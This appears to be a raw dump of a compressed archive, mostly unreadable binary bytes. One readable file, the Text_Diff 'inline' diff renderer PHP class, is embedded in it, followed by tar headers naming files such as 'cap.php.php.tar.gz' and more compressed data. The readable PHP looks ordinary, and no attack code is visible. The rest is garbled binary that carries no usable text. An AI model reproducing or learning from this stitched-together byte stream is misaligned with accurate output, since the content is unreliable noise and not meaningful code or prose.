N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) < PK     |\'ݣ    
  inline.phpnu [        <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
PK     |\u#~ T   T    Renderer.tarnu [        inline.php.php.tar.gz                                                                               0000644                 00000003352 15217301621 0010526 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Xo8szMF۴e::I&4 E^fuv&iZؽK8sAL$ђ
,fQ8׋8X&=ƣ8P:Mk<G%1㴟̓[ ׽ptߛ7RDz
[c6L 3Gq>J\h08Sx.ik<rٟ0P
i(ƕPtSSx`*$`Q(0OxvV"E&2F]L,V02(B$%R9)2 %qojIQX',p8`	ɌɁ ZhWan+ݟ-ILE%'aaЇN[&:=Rٖ+4te@ζߢcX ndOʙ/n)ĔLA$FJh0- TQyAUNHUٻ{afC3!7+KH:e6/Ԙ1"i8C<ǣ&7x)dx[И^R/mjmc$C4'3,Zpe9&U3	Ji*{1q#3!01xg&:$VI H
K
Q*xd&o"2aN%u#\,ajgSWl֛<׹ۻ<.]Ɣ=a侥TÞi7:3]_9o܆jmG[!_zm%hʻm5B'tpvfYfڲE#~ۨ=kZy.q)"6ZL&tZ7lᎾ|@(M$RsaЯ3}՘`CY[G">{.7fW]Z4ǔq웩sI;8dXbfۺ^!xȪW/`[w3fY;evJ6&PT:rn	X۷3w_o(Kg
.0D&gR%PVcx$W|auύNR9iԪEW6{)x.UaA9^gaMnǻ:6^pP^N)&jU;1:A`z55n5#JKmjthS/PR>!Jwj3q&jRpd
/s
	o/p`p?u,nUTBή!fJW|zn+~j$k&xP#eA<ڪkBճovs~i^7W\^P93O0ۥRT;px۲Uz<(_K)_LfDtVb'P	w!IzG?_7ꊛ-Ւ*"	7zy 3n`\LRB$dm9ƙntL}.)e&~fŔ\R(5uq$tP˛ycԫj\X2Bʔ+WӾSN&p/C.cjCB\j'0QÝ6kw6l.4qj)L$'=oV-a37֢o;JhHlN[w/,                                                                                                                                                                                                                                                                                         cap.php.php.tar.gz                                                                                  0000644                 00000056633 15217301621 0010025 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             i#Ir(Ҷ8%GfAu%Q5}R Hdym}?x$hd̤(@Uΐ5U3aɐ%RDǎf#,?6;MSlGO$rC?Q~<?GdJUS/_+戟 ~#4˟/_Bg__o~?__7W{7w&__߾ ~3 ?$?>P~'H럁$	lA?&_/d܏yx/~if;+?|h?^? _A.=('7~y33_x?JWw߽
{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
